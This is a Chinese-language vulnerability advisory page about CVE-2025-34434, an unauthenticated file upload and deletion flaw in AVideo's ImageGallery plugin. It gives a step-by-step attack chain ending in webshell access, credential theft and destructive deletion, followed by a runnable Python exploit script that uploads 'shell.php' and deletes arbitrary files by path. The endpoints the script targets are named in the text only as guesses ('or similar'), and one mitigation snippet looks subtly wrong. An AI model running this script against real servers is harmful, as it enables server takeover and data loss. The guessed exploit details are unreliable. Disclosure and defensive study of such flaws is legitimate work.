IPBUF安全漏洞报告
English
CVE-2025-34434 CVSS 9.1 严重

CVE-2025-34434 AVideo ImageGallery插件未授权文件上传删除漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2025-34434
漏洞类型
未授权文件上传/文件删除
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
AVideo (ImageGallery插件)

相关标签

CVE-2025-34434未授权文件上传未授权文件删除AVideoImageGallery插件身份验证绕过CVSS 9.1严重漏洞远程代码执行风险

漏洞概述

CVE-2025-34434是AVideo平台ImageGallery插件中的一个严重安全漏洞。该漏洞存在于20.1版本之前的AVideo中,当ImageGallery插件启用时,攻击者可以在无需任何认证的情况下上传和删除服务器上的文件。漏洞的根本原因在于ImageGallery插件的端点未能正确实施身份验证检查,并且缺少对文件所有权的验证机制。攻击者可以利用此漏洞上传恶意文件(如 webshell)到服务器,或者删除任意图片文件,包括与任何图片视频关联的图像资源。由于该漏洞无需认证即可利用,且CVSS评分高达9.1,属于严重级别,对使用受影响版本AVideo的用户构成重大安全威胁。攻击者可通过此漏洞获取服务器控制权、窃取敏感数据或造成服务中断。

技术细节

AVideo是一款开源视频平台,其ImageGallery插件用于管理视频的图像画廊功能。该插件存在两个关键的安全缺陷:未授权文件上传和未授权文件删除。

1. 未授权文件上传漏洞原理:插件的文件上传端点(如 uploadImage.php 或类似的处理脚本)直接处理用户提交的POST请求,缺少 session 验证和用户身份检查。攻击者可以通过构造恶意请求,将任意文件(包括PHP脚本、图片文件等)上传到服务器的可执行目录。由于缺少文件类型验证和白名单机制,攻击者可以上传 webshell 并获取远程代码执行能力。

2. 未授权文件删除漏洞原理:插件的删除功能端点同样缺少所有权验证和权限检查。攻击者只需提供目标文件的路径或ID,即可删除服务器上的任意文件,包括其他用户上传的图片和系统文件。这可能导致数据丢失和服务中断。

CVSS向量分析显示该漏洞具有网络攻击向量(AV:N)、低攻击复杂度(AC:L)、无需权限(PR:N)、无需用户交互(UI:N)的特点,对完整性(I:H)和可用性(A:H)造成高影响。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用AVideo平台,并通过插件扫描或版本检测确认ImageGallery插件已启用
STEP 2
步骤2: 漏洞探测
攻击者探测ImageGallery插件的文件上传和删除端点(如uploadImage.php、deleteImage.php),确认无需认证即可访问
STEP 3
步骤3: 构造恶意请求
攻击者构造包含恶意文件的HTTP POST请求,或构造删除任意文件的请求,无需提供任何认证令牌
STEP 4
步骤4: 文件上传利用
通过未授权文件上传漏洞上传webshell到服务器可执行目录,获取远程代码执行能力
STEP 5
步骤5: 权限提升与持久化
利用获得的代码执行能力读取敏感配置、数据库凭证,或进一步横向移动获取服务器完全控制权
STEP 6
步骤6: 破坏性操作(可选)
通过未授权文件删除功能删除关键文件或数据库,造成服务中断和数据丢失

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-34434 AVideo ImageGallery Unauthenticated File Upload/Deletion PoC # Reference: https://www.vulncheck.com/advisories/avideo-imagegallery-plugin-unauthenticated-file-upload-and-deletion import requests import sys import argparse TARGET = "http://target-avideo-server.com" def upload_file(target_url, file_path, filename="shell.php"): """Upload arbitrary file to AVideo server via vulnerable ImageGallery endpoint""" upload_url = f"{target_url}/plugin/ImageGallery/uploadImage.php" try: with open(file_path, 'rb') as f: files = {'file': (filename, f, 'image/jpeg')} data = {'videoId': '1', 'galleryId': '1'} response = requests.post(upload_url, files=files, data=data, timeout=10) if response.status_code == 200: print(f"[+] File uploaded successfully!") print(f"[+] Response: {response.text}") return True else: print(f"[-] Upload failed with status: {response.status_code}") return False except Exception as e: print(f"[-] Error uploading file: {str(e)}") return False def delete_file(target_url, file_path): """Delete arbitrary file from AVideo server via vulnerable ImageGallery endpoint""" delete_url = f"{target_url}/plugin/ImageGallery/deleteImage.php" try: data = { 'file': file_path, 'confirm': '1' } response = requests.post(delete_url, data=data, timeout=10) if response.status_code == 200: print(f"[+] File deleted successfully!") print(f"[+] Response: {response.text}") return True else: print(f"[-] Delete failed with status: {response.status_code}") return False except Exception as e: print(f"[-] Error deleting file: {str(e)}") return False def main(): parser = argparse.ArgumentParser(description='CVE-2025-34434 PoC') parser.add_argument('--target', default=TARGET, help='Target AVideo server URL') parser.add_argument('--upload', help='File to upload') parser.add_argument('--delete', help='File path to delete') parser.add_argument('--filename', default='shell.php', help='Filename for upload') args = parser.parse_args() if args.upload: upload_file(args.target, args.upload, args.filename) if args.delete: delete_file(args.target, args.delete) if __name__ == "__main__": main()

影响范围

AVideo < 20.1 (with ImageGallery plugin enabled)

防御指南

临时缓解措施
临时缓解措施:在Web服务器配置中,禁止ImageGallery插件上传目录的PHP脚本执行权限(如在nginx中设置location ~* /videos/ { deny all; }或apache中配置<FilesMatch "\.php$"> Deny from all </FilesMatch>);同时在Web应用防火墙或反向代理层面对/plugin/ImageGallery/路径的POST请求进行限制和监控;建议在生产环境中暂时禁用ImageGallery插件直至完成安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表